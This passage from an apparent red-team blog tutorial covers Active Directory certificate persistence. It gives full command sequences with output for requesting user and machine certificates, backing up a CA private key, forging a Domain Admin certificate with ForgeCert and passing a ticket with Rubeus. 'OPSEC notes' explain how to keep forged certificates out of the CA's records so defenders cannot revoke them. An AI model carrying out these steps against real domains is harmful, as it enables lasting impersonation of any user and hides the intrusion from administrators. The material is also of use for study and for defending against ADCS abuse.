    </span><span class="n">NotAfter</span><span class="w">             </span><span class="p">:</span><span class="w"> </span><span class="nx">1/10/2026</span><span class="w"> </span><span class="nx">11:43:37</span><span class="w"> </span><span class="nx">PM</span><span class="w">
    </span><span class="n">NotBefore</span><span class="w">            </span><span class="p">:</span><span class="w"> </span><span class="nx">1/10/2025</span><span class="w"> </span><span class="nx">11:43:37</span><span class="w"> </span><span class="nx">PM</span><span class="w">
    </span><span class="n">HasPrivateKey</span><span class="w">        </span><span class="p">:</span><span class="w"> </span><span class="nx">True</span><span class="w">
    </span><span class="n">PrivateKey</span><span class="w">           </span><span class="p">:</span><span class="w"> </span><span class="nx">System.Security.Cryptography.RSACryptoServiceProvider</span><span class="w">
    </span><span class="n">PublicKey</span><span class="w">            </span><span class="p">:</span><span class="w"> </span><span class="nx">System.Security.Cryptography.X509Certificates.PublicKey</span><span class="w">
    </span><span class="n">RawData</span><span class="w">              </span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="mi">48</span><span class="p">,</span><span class="w"> </span><span class="mi">130</span><span class="p">,</span><span class="w"> </span><span class="mi">5</span><span class="p">,</span><span class="w"> </span><span class="mi">233</span><span class="o">...</span><span class="p">}</span><span class="w">
    </span><span class="n">SerialNumber</span><span class="w">         </span><span class="p">:</span><span class="w"> </span><span class="nx">54000000150B74ED4CF8ADD060000000000015</span><span class="w">
    </span><span class="n">SubjectName</span><span class="w">          </span><span class="p">:</span><span class="w"> </span><span class="nx">System.Security.Cryptography.X509Certificates.X500DistinguishedName</span><span class="w">
    </span><span class="n">SignatureAlgorithm</span><span class="w">   </span><span class="p">:</span><span class="w"> </span><span class="nx">System.Security.Cryptography.Oid</span><span class="w">
    </span><span class="n">Thumbprint</span><span class="w">           </span><span class="p">:</span><span class="w"> </span><span class="nx">1DD7B7333ECCF32A83DB5C86CEA9B80B0833C285</span><span class="w">
    </span><span class="n">Version</span><span class="w">              </span><span class="p">:</span><span class="w"> </span><span class="nx">3</span><span class="w">
    </span><span class="n">Handle</span><span class="w">               </span><span class="p">:</span><span class="w"> </span><span class="nx">2734492773680</span><span class="w">
    </span><span class="n">Issuer</span><span class="w">               </span><span class="p">:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">CORP-CA</span><span class="p">,</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">CORP</span><span class="p">,</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">LOCAL</span><span class="w">
    </span><span class="nx">Subject</span><span class="w">              </span><span class="p">:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">Daniel</span><span class="w"> </span><span class="nx">Moura</span><span class="p">,</span><span class="w"> </span><span class="nx">OU</span><span class="o">=</span><span class="n">Usuarios</span><span class="p">,</span><span class="w"> </span><span class="nx">OU</span><span class="o">=</span><span class="n">Inferi</span><span class="p">,</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">CORP</span><span class="p">,</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">LOCAL</span><span class="w">
</span></code></pre></div></div>

<p>Now, with the certificate in hand, I keep it with me, and for 1 year, I will have this persistence through the user. By combining it with UnPAC-The-Hash, you will always be able to retrieve the current NTLM hash of that user as long as the certificate remains valid 😏.</p>

<p>In my context, I spoke about a vulnerable template, but ideally, as I mentioned above, you would issue this certificate from a standard ADCS template, like the <strong>User</strong> template. Next, we will look at how to implement persistence on machines.</p>

<h2 id="persistence-by-machine-certificate">Persistence by machine certificate</h2>

<p>Machine persistence with certificates follows the same concept as before, but instead of needing a high-privilege user, you need to be SYSTEM on the machine. Machine persistence also has its advantages, such as:</p>

<ul>
  <li>The certificate lasts for 1 year and can be renewed when it is about to expire.</li>
  <li>Even if the computer changes its password, the certificate will still work.</li>
  <li>Even if the computer is reformatted, if it returns to the network with the same name, the certificate will still be valid (THIS IS UNREAL MICROSOFT LMFAAAO).
    <ul>
      <li>If there is a change in the machine’s SID, then the certificate becomes invalid. If the machine is formatted normally, it will have the same SID; if it is formatted and there is a change in hardware, the SID will change.</li>
      <li>However, with new updates to Certipy/fy, you can specify the SID you want to use in the certificate.</li>
    </ul>
  </li>
</ul>

<p>Let’s now reproduce this in our lab, the idea is as follows:</p>
<ul>
  <li>Request a certificate from the CA (Certification Authority) based on the “Machine” template, which in its EKU (Enhanced Key Usage) allows Client Authentication by default.</li>
  <li>Convert the .pem file to .pfx using OpenSSL (<span style="color: red;">OPSEC NOTES</span>: Never use weak passwords for certificates 😑).</li>
</ul>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">.</span><span class="n">\Certify.exe</span><span class="w"> </span><span class="nx">request</span><span class="w"> </span><span class="nx">/ca:CORP-DC.CORP.LOCAL\CORP-CA</span><span class="w"> </span><span class="nx">/template:</span><span class="s2">"Machine"</span><span class="w"> </span><span class="nx">/machine</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Action:</span><span class="w"> </span><span class="nx">Request</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">Certificates</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Current</span><span class="w"> </span><span class="nx">user</span><span class="w"> </span><span class="nx">context</span><span class="w">    </span><span class="p">:</span><span class="w"> </span><span class="nx">NT</span><span class="w"> </span><span class="nx">AUTHORITY\SYSTEM</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">No</span><span class="w"> </span><span class="nx">subject</span><span class="w"> </span><span class="nx">name</span><span class="w"> </span><span class="nx">specified</span><span class="p">,</span><span class="w"> </span><span class="nx">using</span><span class="w"> </span><span class="nx">current</span><span class="w"> </span><span class="nx">machine</span><span class="w"> </span><span class="nx">as</span><span class="w"> </span><span class="nx">subject</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Template</span><span class="w">                </span><span class="p">:</span><span class="w"> </span><span class="nx">Machine</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Subject</span><span class="w">                 </span><span class="p">:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">SRV-01.CORP.LOCAL</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Certificate</span><span class="w"> </span><span class="nx">Authority</span><span class="w">   </span><span class="p">:</span><span class="w"> </span><span class="nx">CORP-DC.CORP.LOCAL\CORP-CA</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">CA</span><span class="w"> </span><span class="nx">Response</span><span class="w">             </span><span class="p">:</span><span class="w"> </span><span class="nx">The</span><span class="w"> </span><span class="nx">certificate</span><span class="w"> </span><span class="nx">had</span><span class="w"> </span><span class="nx">been</span><span class="w"> </span><span class="nx">issued.</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Request</span><span class="w"> </span><span class="nx">ID</span><span class="w">              </span><span class="p">:</span><span class="w"> </span><span class="nx">22</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">cert.pem</span><span class="w">         </span><span class="p">:</span><span class="w">

</span><span class="o">---</span><span class="nt">--BEGIN</span><span class="w"> </span><span class="n">RSA</span><span class="w"> </span><span class="nx">PRIVATE</span><span class="w"> </span><span class="nx">KEY-----</span><span class="w">
</span><span class="n">MIIEogIBAAKCAQEA0XOxnEqKbwpWnAOHKGHs...</span><span class="w">

</span><span class="o">---</span><span class="nt">--END</span><span class="w"> </span><span class="n">CERTIFICATE-----</span><span class="w">


</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Convert</span><span class="w"> </span><span class="nx">with:</span><span class="w"> </span><span class="nx">openssl</span><span class="w"> </span><span class="nx">pkcs12</span><span class="w"> </span><span class="nt">-in</span><span class="w"> </span><span class="nx">cert.pem</span><span class="w"> </span><span class="nt">-keyex</span><span class="w"> </span><span class="nt">-CSP</span><span class="w"> </span><span class="s2">"Microsoft Enhanced Cryptographic Provider v1.0"</span><span class="w"> </span><span class="nt">-export</span><span class="w"> </span><span class="nt">-out</span><span class="w"> </span><span class="nx">cert.pfx</span><span class="w">
</span></code></pre></div></div>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Get-PfxCertificate</span><span class="w"> </span><span class="nt">-FilePath</span><span class="w"> </span><span class="o">.</span><span class="nx">\srv01-A.pfx</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">select</span><span class="w"> </span><span class="o">*</span><span class="w">

</span><span class="n">EnhancedKeyUsageList</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="n">Client</span><span class="w"> </span><span class="nx">Authentication</span><span class="w"> </span><span class="p">(</span><span class="mf">1.3</span><span class="o">.</span><span class="nf">6</span><span class="o">.</span><span class="nf">1</span><span class="o">.</span><span class="nf">5</span><span class="o">.</span><span class="nf">5</span><span class="o">.</span><span class="nf">7</span><span class="o">.</span><span class="nf">3</span><span class="o">.</span><span class="nf">2</span><span class="p">),</span><span class="w"> </span><span class="n">Server</span><span class="w"> </span><span class="nx">Authentication</span><span class="w"> </span><span class="p">(</span><span class="mf">1.3</span><span class="o">.</span><span class="nf">6</span><span class="o">.</span><span class="nf">1</span><span class="o">.</span><span class="nf">5</span><span class="o">.</span><span class="nf">5</span><span class="o">.</span><span class="nf">7</span><span class="o">.</span><span class="nf">3</span><span class="o">.</span><span class="nf">1</span><span class="p">)}</span><span class="w">
</span><span class="n">DnsNameList</span><span class="w">          </span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="n">SRV-01.CORP.LOCAL</span><span class="p">}</span><span class="w">
</span><span class="n">SendAsTrustedIssuer</span><span class="w">  </span><span class="p">:</span><span class="w"> </span><span class="nx">False</span><span class="w">
</span><span class="n">Archived</span><span class="w">             </span><span class="p">:</span><span class="w"> </span><span class="nx">False</span><span class="w">
</span><span class="n">Extensions</span><span class="w">           </span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="n">System.Security.Cryptography.Oid</span><span class="p">,</span><span class="w"> </span><span class="nx">System.Security.Cryptography.Oid</span><span class="p">,</span><span class="w"> </span><span class="nx">System.Security.Cryptography.Oid</span><span class="p">,</span><span class="w"> </span><span class="nx">System.Security.Cryptography.Oid...</span><span class="p">}</span><span class="w">
</span><span class="n">FriendlyName</span><span class="w">         </span><span class="p">:</span><span class="w">
</span><span class="n">IssuerName</span><span class="w">           </span><span class="p">:</span><span class="w"> </span><span class="nx">System.Security.Cryptography.X509Certificates.X500DistinguishedName</span><span class="w">
</span><span class="n">NotAfter</span><span class="w">             </span><span class="p">:</span><span class="w"> </span><span class="nx">1/11/2026</span><span class="w"> </span><span class="nx">1:50:33</span><span class="w"> </span><span class="nx">AM</span><span class="w">
</span><span class="n">NotBefore</span><span class="w">            </span><span class="p">:</span><span class="w"> </span><span class="nx">1/11/2025</span><span class="w"> </span><span class="nx">1:50:33</span><span class="w"> </span><span class="nx">AM</span><span class="w">
</span><span class="n">HasPrivateKey</span><span class="w">        </span><span class="p">:</span><span class="w"> </span><span class="nx">True</span><span class="w">
</span><span class="n">PrivateKey</span><span class="w">           </span><span class="p">:</span><span class="w"> </span><span class="nx">System.Security.Cryptography.RSACryptoServiceProvider</span><span class="w">
</span><span class="n">PublicKey</span><span class="w">            </span><span class="p">:</span><span class="w"> </span><span class="nx">System.Security.Cryptography.X509Certificates.PublicKey</span><span class="w">
</span><span class="n">RawData</span><span class="w">              </span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="mi">48</span><span class="p">,</span><span class="w"> </span><span class="mi">130</span><span class="p">,</span><span class="w"> </span><span class="mi">5</span><span class="p">,</span><span class="w"> </span><span class="mi">28</span><span class="o">...</span><span class="p">}</span><span class="w">
</span><span class="n">SerialNumber</span><span class="w">         </span><span class="p">:</span><span class="w"> </span><span class="nx">5400000016747C52BDC9582CB5000000000016</span><span class="w">
</span><span class="n">SubjectName</span><span class="w">          </span><span class="p">:</span><span class="w"> </span><span class="nx">System.Security.Cryptography.X509Certificates.X500DistinguishedName</span><span class="w">
</span><span class="n">SignatureAlgorithm</span><span class="w">   </span><span class="p">:</span><span class="w"> </span><span class="nx">System.Security.Cryptography.Oid</span><span class="w">
</span><span class="n">Thumbprint</span><span class="w">           </span><span class="p">:</span><span class="w"> </span><span class="nx">8E19E0FFE7DECD870DE249017F0C548DCDE79A8F</span><span class="w">
</span><span class="n">Version</span><span class="w">              </span><span class="p">:</span><span class="w"> </span><span class="nx">3</span><span class="w">
</span><span class="n">Handle</span><span class="w">               </span><span class="p">:</span><span class="w"> </span><span class="nx">2539689363184</span><span class="w">
</span><span class="n">Issuer</span><span class="w">               </span><span class="p">:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">CORP-CA</span><span class="p">,</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">CORP</span><span class="p">,</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">LOCAL</span><span class="w">
</span><span class="nx">Subject</span><span class="w">              </span><span class="p">:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">SRV-01.CORP.LOCAL</span><span class="w">
</span></code></pre></div></div>

<p>With the machine certificate in hand, the next step is simply to perform an <strong>asktgt</strong> with the ticket and its password using Rubeus, and boom, you now have persistence on the target machine.</p>

<p>A characteristic of machines is that their passwords are changed every 30 days, but as we learned in this article about UnPAC, this is no longer a problem for us 🙄.</p>

<h2 id="golden-certificate-persistence">Golden Certificate persistence</h2>

<p>The Golden Certificate, in essence, is nothing more than the certificate of the CA (Certification Authority), but what can we do with it?</p>

<p>A CA uses its private key to sign certificates, and if an attacker manages to extract it, they can sign any certificate and, by extension, impersonate any domain user.</p>

<p>Let’s head to the lab. We need to perform some steps like:</p>
<ul>
  <li>Backup the CA’s private keys to a .p12 format.</li>
  <li>Convert the .p12 to .pem and then to .pfx.</li>
  <li>Use tools like <a href="https://github.com/GhostPack/ForgeCert">ForgeCert</a> or <a href="https://github.com/ly4k/Certipy">Certipy</a> to issue the certificate for the user we want to impersonate.</li>
</ul>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Backup-CARoleService</span><span class="w"> </span><span class="nx">C:\Tools\CA-Backup</span><span class="w"> </span><span class="nt">-Password</span><span class="w"> </span><span class="p">(</span><span class="n">ConvertTo-SecureString</span><span class="w"> </span><span class="s2">"Senha"</span><span class="w"> </span><span class="nt">-AsPlainText</span><span class="w"> </span><span class="nt">-Force</span><span class="p">)</span><span class="w">

</span><span class="n">dir</span><span class="w"> </span><span class="o">.</span><span class="nx">\CA-Backup\</span><span class="w">

</span><span class="n">Directory:</span><span class="w"> </span><span class="nx">C:\Tools\CA-Backup</span><span class="w">


</span><span class="n">Mode</span><span class="w">                 </span><span class="nx">LastWriteTime</span><span class="w">         </span><span class="nx">Length</span><span class="w"> </span><span class="nx">Name</span><span class="w">
</span><span class="o">----</span><span class="w">                 </span><span class="o">-------------</span><span class="w">         </span><span class="o">------</span><span class="w"> </span><span class="o">----</span><span class="w">
</span><span class="n">d-----</span><span class="w">        </span><span class="nx">11/01/2025</span><span class="w">     </span><span class="nx">02:22</span><span class="w">                </span><span class="nx">DataBase</span><span class="w">
</span><span class="nt">-a</span><span class="o">----</span><span class="w">        </span><span class="mi">11</span><span class="n">/01/2025</span><span class="w">     </span><span class="nx">02:22</span><span class="w">           </span><span class="nx">2597</span><span class="w"> </span><span class="nx">CORP-CA.p12</span><span class="w">
</span></code></pre></div></div>

<p>Now, let’s take this <strong>.p12</strong> file to the attacking machine. Remember that tools like <strong>Certipy</strong> can extract the CA certificate remotely, but they require domain administrator privileges.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">C:\Tools\openssl\openssl.exe</span><span class="w"> </span><span class="nx">pkcs12</span><span class="w"> </span><span class="nt">-in</span><span class="w"> </span><span class="nx">C:\Tools\CORP-CA.p12</span><span class="w"> </span><span class="nt">-out</span><span class="w"> </span><span class="nx">C:\Tools\CORP-CA.pem</span><span class="w">

</span><span class="n">dir</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">findstr</span><span class="w"> </span><span class="s2">"CORP-CA"</span><span class="w">

</span><span class="nt">-a</span><span class="o">----</span><span class="w">         </span><span class="mi">1</span><span class="n">/11/2025</span><span class="w">   </span><span class="nx">2:22</span><span class="w"> </span><span class="nx">AM</span><span class="w">           </span><span class="nx">2597</span><span class="w"> </span><span class="nx">CORP-CA.p12</span><span class="w">
</span><span class="nt">-a</span><span class="o">----</span><span class="w">         </span><span class="mi">1</span><span class="n">/11/2025</span><span class="w">   </span><span class="nx">2:26</span><span class="w"> </span><span class="nx">AM</span><span class="w">           </span><span class="nx">3387</span><span class="w"> </span><span class="nx">CORP-CA.pem</span><span class="w">

</span><span class="n">C:\Tools\openssl\openssl.exe</span><span class="w"> </span><span class="nx">pkcs12</span><span class="w"> </span><span class="nt">-in</span><span class="w"> </span><span class="nx">C:\Tools\CORP-CA.pem</span><span class="w"> </span><span class="nt">-keyex</span><span class="w"> </span><span class="nt">-CSP</span><span class="w"> </span><span class="s2">"Microsoft Enhanced Cryptographic Provider v1.0"</span><span class="w"> </span><span class="nt">-export</span><span class="w"> </span><span class="nt">-out</span><span class="w"> </span><span class="s2">"C:\Tools\CORP-CA.pfx"</span><span class="w">

</span><span class="n">dir</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">findstr</span><span class="w"> </span><span class="s2">"CORP-CA"</span><span class="w">

</span><span class="nt">-a</span><span class="o">----</span><span class="w">         </span><span class="mi">1</span><span class="n">/11/2025</span><span class="w">   </span><span class="nx">2:22</span><span class="w"> </span><span class="nx">AM</span><span class="w">           </span><span class="nx">2597</span><span class="w"> </span><span class="nx">CORP-CA.p12</span><span class="w">
</span><span class="nt">-a</span><span class="o">----</span><span class="w">         </span><span class="mi">1</span><span class="n">/11/2025</span><span class="w">   </span><span class="nx">2:26</span><span class="w"> </span><span class="nx">AM</span><span class="w">           </span><span class="nx">3387</span><span class="w"> </span><span class="nx">CORP-CA.pem</span><span class="w">
</span><span class="nt">-a</span><span class="o">----</span><span class="w">         </span><span class="mi">1</span><span class="n">/11/2025</span><span class="w">   </span><span class="nx">2:30</span><span class="w"> </span><span class="nx">AM</span><span class="w">           </span><span class="nx">2587</span><span class="w"> </span><span class="nx">CORP-CA.pfx</span><span class="w">
</span></code></pre></div></div>

<p>Keep this <strong>.pfx</strong> with ALL YOUR SOUL!!!! Now, let’s use <strong>ForgeCert</strong> to issue a certificate on behalf of the Domain Admin.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="w"> </span><span class="o">.</span><span class="n">\ForgeCert.exe</span><span class="w"> </span><span class="nt">--CaCertPath</span><span class="w"> </span><span class="s2">".\CORP-CA.p12"</span><span class="w"> </span><span class="nt">--CaCertPassword</span><span class="w"> </span><span class="s2">"Senha"</span><span class="w"> </span><span class="nt">--Subject</span><span class="w"> </span><span class="s2">"CN=paulo.victor,OU=Usuarios,OU=Inferi,DC=CORP,DC=LOCAL"</span><span class="w"> </span><span class="nt">--SubjectAltName</span><span class="w"> </span><span class="nx">paulo.victor</span><span class="err">@</span><span class="nx">corp.local</span><span class="w"> </span><span class="nt">--NewCertPath</span><span class="w"> </span><span class="s2">".\paulo-da.pfx"</span><span class="w"> </span><span class="nt">--NewCertPassword</span><span class="w"> </span><span class="s2">"Senha"</span><span class="w">

</span><span class="n">CA</span><span class="w"> </span><span class="nx">Certificate</span><span class="w"> </span><span class="nx">Information:</span><span class="w">
  </span><span class="n">Subject:</span><span class="w">        </span><span class="nx">CN</span><span class="o">=</span><span class="n">CORP-CA</span><span class="p">,</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">CORP</span><span class="p">,</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">LOCAL</span><span class="w">
  </span><span class="nx">Issuer:</span><span class="w">         </span><span class="nx">CN</span><span class="o">=</span><span class="n">CORP-CA</span><span class="p">,</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">CORP</span><span class="p">,</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">LOCAL</span><span class="w">
  </span><span class="nx">Start</span><span class="w"> </span><span class="nx">Date:</span><span class="w">     </span><span class="nx">1/4/2025</span><span class="w"> </span><span class="nx">12:56:14</span><span class="w"> </span><span class="nx">AM</span><span class="w">
  </span><span class="kr">End</span><span class="w"> </span><span class="n">Date:</span><span class="w">       </span><span class="nx">1/4/2030</span><span class="w"> </span><span class="nx">1:06:13</span><span class="w"> </span><span class="nx">AM</span><span class="w">
  </span><span class="n">Thumbprint:</span><span class="w">     </span><span class="nx">0C6145AAC4A1BDF07BA3F7D01461797BF511F12C</span><span class="w">
  </span><span class="n">Serial:</span><span class="w">         </span><span class="nx">1125934CE5144B9A4DEFB96CAAA4A9F2</span><span class="w">

</span><span class="n">Forged</span><span class="w"> </span><span class="nx">Certificate</span><span class="w"> </span><span class="nx">Information:</span><span class="w">
  </span><span class="n">Subject:</span><span class="w">        </span><span class="nx">DC</span><span class="o">=</span><span class="n">LOCAL</span><span class="p">,</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">CORP</span><span class="p">,</span><span class="w"> </span><span class="nx">OU</span><span class="o">=</span><span class="n">Inferi</span><span class="p">,</span><span class="w"> </span><span class="nx">OU</span><span class="o">=</span><span class="n">Usuarios</span><span class="p">,</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">paulo.victor</span><span class="w">
  </span><span class="nx">SubjectAltName:</span><span class="w"> </span><span class="nx">paulo.victor</span><span class="err">@</span><span class="nx">corp.local</span><span class="w">
  </span><span class="n">Issuer:</span><span class="w">         </span><span class="nx">CN</span><span class="o">=</span><span class="n">CORP-CA</span><span class="p">,</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">CORP</span><span class="p">,</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">LOCAL</span><span class="w">
  </span><span class="nx">Start</span><span class="w"> </span><span class="nx">Date:</span><span class="w">     </span><span class="nx">1/11/2025</span><span class="w"> </span><span class="nx">2:34:50</span><span class="w"> </span><span class="nx">AM</span><span class="w">
  </span><span class="kr">End</span><span class="w"> </span><span class="n">Date:</span><span class="w">       </span><span class="nx">1/11/2026</span><span class="w"> </span><span class="nx">2:34:50</span><span class="w"> </span><span class="nx">AM</span><span class="w">
  </span><span class="n">Thumbprint:</span><span class="w">     </span><span class="nx">ED557F9E9F3811F07B62EF0517CE494D83E9AD4B</span><span class="w">
  </span><span class="n">Serial:</span><span class="w">         </span><span class="nx">00E32CD49040A22DBBA2BA81A1A6C87F4E</span><span class="w">

</span><span class="n">Done.</span><span class="w"> </span><span class="nx">Saved</span><span class="w"> </span><span class="nx">forged</span><span class="w"> </span><span class="nx">certificate</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="o">.</span><span class="nx">\paulo-da.pfx</span><span class="w"> </span><span class="nx">with</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">password</span><span class="w"> </span><span class="s1">'Senha'</span><span class="w">
</span></code></pre></div></div>

<p>Now, let’s use <strong>Rubeus</strong> to request a TGT and impersonate the Domain Admin.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">.</span><span class="n">\Rubeus.exe</span><span class="w"> </span><span class="nx">asktgt</span><span class="w"> </span><span class="nx">/user:paulo.victor</span><span class="w"> </span><span class="nx">/domain:corp.local</span><span class="w"> </span><span class="nx">/dc:corp-dc.corp.local</span><span class="w"> </span><span class="nx">/certificate:</span><span class="s2">"C:\Tools\paulo-da.pfx"</span><span class="w"> </span><span class="nx">/password:</span><span class="s2">"Senha"</span><span class="w"> </span><span class="nx">/ptt</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Action:</span><span class="w"> </span><span class="nx">Ask</span><span class="w"> </span><span class="nx">TGT</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="kr">Using</span><span class="w"> </span><span class="n">PKINIT</span><span class="w"> </span><span class="nx">with</span><span class="w"> </span><span class="nx">etype</span><span class="w"> </span><span class="nx">rc4_hmac</span><span class="w"> </span><span class="nx">and</span><span class="w"> </span><span class="nx">subject:</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">LOCAL</span><span class="p">,</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">CORP</span><span class="p">,</span><span class="w"> </span><span class="nx">OU</span><span class="o">=</span><span class="n">Tier0</span><span class="p">,</span><span class="w"> </span><span class="nx">OU</span><span class="o">=</span><span class="n">Usuarios</span><span class="p">,</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">paulo.victor</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="nx">Building</span><span class="w"> </span><span class="nx">AS-REQ</span><span class="w"> </span><span class="p">(</span><span class="n">w/</span><span class="w"> </span><span class="nx">PKINIT</span><span class="w"> </span><span class="nx">preauth</span><span class="p">)</span><span class="w"> </span><span class="kr">for</span><span class="p">:</span><span class="w"> </span><span class="s1">'corp.local\paulo.victor'</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="kr">Using</span><span class="w"> </span><span class="n">domain</span><span class="w"> </span><span class="nx">controller:</span><span class="w"> </span><span class="nx">10.0.0.10:88</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">TGT</span><span class="w"> </span><span class="nx">request</span><span class="w"> </span><span class="nx">successful</span><span class="o">!</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">base64</span><span class="p">(</span><span class="n">ticket.kirbi</span><span class="p">):</span><span class="w">

      </span><span class="n">doIGVjCCBlKgAwIBBaEDAgEWooIFbTCCBWlhg...</span><span class="w">

</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Ticket</span><span class="w"> </span><span class="nx">successfully</span><span class="w"> </span><span class="nx">imported</span><span class="o">!</span><span class="w">

  </span><span class="n">ServiceName</span><span class="w">              </span><span class="p">:</span><span class="w">  </span><span class="nx">krbtgt/corp.local</span><span class="w">
  </span><span class="n">ServiceRealm</span><span class="w">             </span><span class="p">:</span><span class="w">  </span><span class="nx">CORP.LOCAL</span><span class="w">
  </span><span class="n">UserName</span><span class="w">                 </span><span class="p">:</span><span class="w">  </span><span class="nx">paulo.victor</span><span class="w">
  </span><span class="n">UserRealm</span><span class="w">                </span><span class="p">:</span><span class="w">  </span><span class="nx">CORP.LOCAL</span><span class="w">
  </span><span class="n">StartTime</span><span class="w">                </span><span class="p">:</span><span class="w">  </span><span class="nx">1/11/2025</span><span class="w"> </span><span class="nx">2:37:29</span><span class="w"> </span><span class="nx">AM</span><span class="w">
  </span><span class="n">EndTime</span><span class="w">                  </span><span class="p">:</span><span class="w">  </span><span class="nx">1/11/2025</span><span class="w"> </span><span class="nx">12:37:29</span><span class="w"> </span><span class="nx">PM</span><span class="w">
  </span><span class="n">RenewTill</span><span class="w">                </span><span class="p">:</span><span class="w">  </span><span class="nx">1/18/2025</span><span class="w"> </span><span class="nx">2:37:29</span><span class="w"> </span><span class="nx">AM</span><span class="w">
  </span><span class="n">Flags</span><span class="w">                    </span><span class="p">:</span><span class="w">  </span><span class="nx">name_canonicalize</span><span class="p">,</span><span class="w"> </span><span class="nx">pre_authent</span><span class="p">,</span><span class="w"> </span><span class="nx">initial</span><span class="p">,</span><span class="w"> </span><span class="nx">renewable</span><span class="p">,</span><span class="w"> </span><span class="nx">forwardable</span><span class="w">
  </span><span class="n">KeyType</span><span class="w">                  </span><span class="p">:</span><span class="w">  </span><span class="nx">rc4_hmac</span><span class="w">
  </span><span class="n">Base64</span><span class="p">(</span><span class="n">key</span><span class="p">)</span><span class="w">              </span><span class="p">:</span><span class="w">  </span><span class="n">c5brmZK4ioq20251NDOs8w</span><span class="o">==</span><span class="w">
  </span><span class="n">ASREP</span><span class="w"> </span><span class="p">(</span><span class="n">key</span><span class="p">)</span><span class="w">              </span><span class="p">:</span><span class="w">  </span><span class="mi">667</span><span class="n">FB15683B166E0330E8D3DFE38620E</span><span class="w">
</span></code></pre></div></div>

<p>Done, now we are Domain Admin of the environment!!! Just make sure to keep that <strong>.pfx</strong> with you forever, and you will always be able to issue a certificate in the name of any user and impersonate them in the environment.</p>

<ul>
  <li><span style="color: red;">OPSEC NOTES</span>: When generating certificates with Certipy/fy, they will be saved in the “<strong>Issued Certificates</strong>” section in <strong>certsrv</strong> within the CA, which gives defenders the possibility of revoking your certificate, which is a problem. However, by using the <strong>Golden Certificate</strong>, you will be generating certificates locally, and they won’t be saved in <strong>certsrv</strong>, making it MUCH harder for defenders to revoke your certificate 🔥🧑‍🚒.</li>
  <li>I took the screenshot below after following the steps above, and as we can see, the certificate I issued is not visible within the CA.</li>
</ul>

<p><img src="/assets/img/articles/adcs/golden.png" alt="golden" /></p>

<h2 id="certsync-against-dcsync">Certsync against DCsync</h2>

<p>Okay, but almost 98% of red teamers are familiar with <strong>DCSync</strong> and feel comfortable using it. So, what advantages does <strong>CertSync</strong> have?</p>

